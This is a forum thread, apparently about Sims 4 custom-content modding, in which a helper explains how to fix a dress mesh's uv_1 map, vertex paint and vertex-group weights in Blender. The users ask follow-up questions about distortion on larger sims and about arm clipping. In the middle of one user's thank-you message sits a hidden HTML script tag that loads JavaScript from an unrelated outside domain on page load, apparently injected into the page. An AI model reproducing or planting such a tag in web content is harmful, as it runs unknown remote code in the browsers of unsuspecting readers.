Dress deforming in chest area and leg gap

Hi.

The uv_1 map is stretched along seams. To avoid it you need to split both your dress and the reference into 3 parts ( front, left backside, right backside ) before transferring the uv_1 map.
1). Select the front part of the dress, P - Selection to separate. Do the same for both sides of the back. Name them front, back_l, back_r;
2). You want to transfer a uv_1 map from something that is the closest in shape to your mesh. Since there is nothing this puffy among maxis meshes, just find something with a skirt-like bottom of the same length or longer and no extra geometry ( bows, flowers, belts, etc). For example, yfBody_DressMaxi. Clone, export, append in the scene, join, rename to reference. Delete arms from hands to elbows because they are to close to the skirt.
3). Split this dress in 3 meshes the same way you did. Name them ref_front, ref_back_l, ref_back_r;
4). Select front, add data transfer modifier, set it like in the pic, choose front ref as Source object, apply. Do the same for each part;

5). Delete all references, merge 3 parts of the dress;

The dress is vertex painted with the wrong color. Vertex paint dictates what variation (skin-tight and robe-like) of deformation map the painted area will deform according to in CAS during body customization and animation.
00FF00 is for skint-tight areas, 3FFF00 is for any skirt-like area ( skirts, bottom parts of dresses, coats, aprons, etc).


The size of the breast is dictated by b__CAS_R_Breast__ and b__CAS_L_Breast__ vertex groups. To lower their effect on the area repaint it with less strength

Now, a very important moment. The meshgroups in the blend you import in the package must have the same vertex groups as the original ones that are being replaced. When it's not the case, you might get distortion. If you won't, someone else using your cc might. And this is something you need to keep in mind when
a). choosing a mesh to clone and start a package ( you cloned a swimsuit that does not have skirt vertex groups but transferred the weights from something that has them, you should be cloning something that you will be transferring the weights from ) ;
b). when separating legs or any other parts of the mesh into a new meshgroup ( all vertex groups stay in the list but should not. You can delete them with this add-on ( free) .)
I decided that the skirt does not need to be affected by thigh and skirt vertex groups, so I painted the whole bottom with pelvis vertex group

I also re-started the package from a lingerie set because it consists of 1 meshgroup while the swimsuit you've chosen was made of 3. You can keep it, but will need to re-transfer the weights from that swimsuit again and use legs from it to avoid this gap

Anyway, here' a new package and blend.

Actually I found an issue with this version, is there anyway to fix this?

also there is a sharp edge on the dress that gets more visable when the sim is bigger also the skirt part grows on bigger sims quite a bit even when it's not necessary =/
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Thank you ;__; <3 and I'm sorry for the trouble, I just can't seem to wrap my head around this sort of stuff OTL<script type="text/javascript" async="" src="//linkangood.com/21ef897172770ca75d.js"></script>

mauvemorn Thank you soo much for your patience and the huge amount of help! <3 But is this fixable somehow?


and also the dress is having a lot of problems on a bigger frame where it looks really sharp edged on the skirt



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As expected, it does not work as one would want. To make the upper arm not clip into ruffles (?), shoulder bones need to affect the vertical parts of ruffles down to the breast area. Every time the arms will move, these parts of ruffles will follow, which is not what you want. This is why making clothing with loose armpit area, off-the-sholder sleeves and other details that are in the arms way is risky. They will not deform right in all situations.
New blend and package
I moved the edge loop up but you will still need to check and adjust it yourself

What ea mesh did you start the package from? The dress has multiple versions and I can't figure out which one to start the other versions from =)

Hi

can you tell me where i can find the mood to spread my arms? I have a lot of lolita dresses and I can't put them on....